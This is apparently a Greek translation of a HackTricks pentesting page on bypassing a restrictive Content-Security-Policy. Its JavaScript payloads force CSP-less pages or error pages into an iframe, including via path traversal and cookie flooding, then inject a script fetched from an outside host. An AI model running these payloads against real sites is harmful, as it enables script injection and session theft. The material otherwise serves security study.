6.4 KiB
Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
- Εάν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Ανακαλύψτε την Οικογένεια PEASS, τη συλλογή μας από αποκλειστικά NFTs
- Εγγραφείτε στη 💬 ομάδα Discord ή στη ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @carlospolopm.
- Μοιραστείτε τα χάκινγκ τρικς σας υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια του github.
Μια διαμόρφωση όπως:
Content-Security-Policy: default-src 'self' 'unsafe-inline';
Απαγορεύει τη χρήση οποιασδήποτε λειτουργίας που εκτελεί κώδικα που μεταδίδεται ως συμβολοσειρά. Για παράδειγμα: οι eval, setTimeout, setInterval
θα αποκλειστούν όλες λόγω της ρύθμισης unsafe-eval
.
Αποκλείονται επίσης και τα περιεχόμενα από εξωτερικές πηγές, συμπεριλαμβανομένων εικόνων, CSS, WebSockets και, ιδιαίτερα, JS.
Μέσω Κειμένου & Εικόνων
Παρατηρείται ότι οι σύγχρονοι περιηγητές μετατρέπουν εικόνες και κείμενο σε HTML για να βελτιώσουν την εμφάνισή τους (π.χ. ρύθμιση φόντου, κεντράρισμα κ.λπ.). Συνεπώς, αν μια εικόνα ή ένα αρχείο κειμένου, όπως το favicon.ico
ή το robots.txt
, ανοίγεται μέσω ενός iframe
, απεικονίζεται ως HTML. Είναι σημαντικό να σημειωθεί ότι αυτές οι σελίδες συνήθως δεν περιέχουν κεφαλίδες CSP και ενδέχεται να μην περιλαμβάνουν το X-Frame-Options, επιτρέποντας την εκτέλεση αυθαίρετου JavaScript από αυτές:
frame=document.createElement("iframe");
frame.src="/css/bootstrap.min.css";
document.body.appendChild(frame);
script=document.createElement('script');
script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script);
Μέσω Σφαλμάτων
Ομοίως, οι αποκρίσεις σφαλμάτων, όπως αρχεία κειμένου ή εικόνες, συνήθως δεν περιέχουν κεφαλίδες CSP και μπορεί να παραλείπουν τις X-Frame-Options. Τα σφάλματα μπορούν να προκαλέσουν τη φόρτωση μέσα σε ένα iframe, επιτρέποντας τις ακόλουθες ενέργειες:
// Inducing an nginx error
frame=document.createElement("iframe");
frame.src="/%2e%2e%2f";
document.body.appendChild(frame);
// Triggering an error with a long URL
frame=document.createElement("iframe");
frame.src="/"+"A".repeat(20000);
document.body.appendChild(frame);
// Generating an error via extensive cookies
for(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(4000)};
frame=document.createElement("iframe");
frame.src="/";
document.body.appendChild(frame);
// Removal of cookies is crucial post-execution
for(var i=0;i<5;i++){document.cookie=i+"="}
Μετά την ενεργοποίηση οποιουδήποτε από τα αναφερόμενα σενάρια, η εκτέλεση του JavaScript μέσα στο iframe είναι εφικτή ως εξής:
script=document.createElement('script');
script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script);
Αναφορές
Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
- Εάν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF ελέγξτε τα ΠΛΑΝΑ ΣΥΝΔΡΟΜΗΣ!
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Ανακαλύψτε The PEASS Family, τη συλλογή μας από αποκλειστικά NFTs
- Εγγραφείτε στη 💬 ομάδα Discord ή στη ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @carlospolopm.
- Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια του github.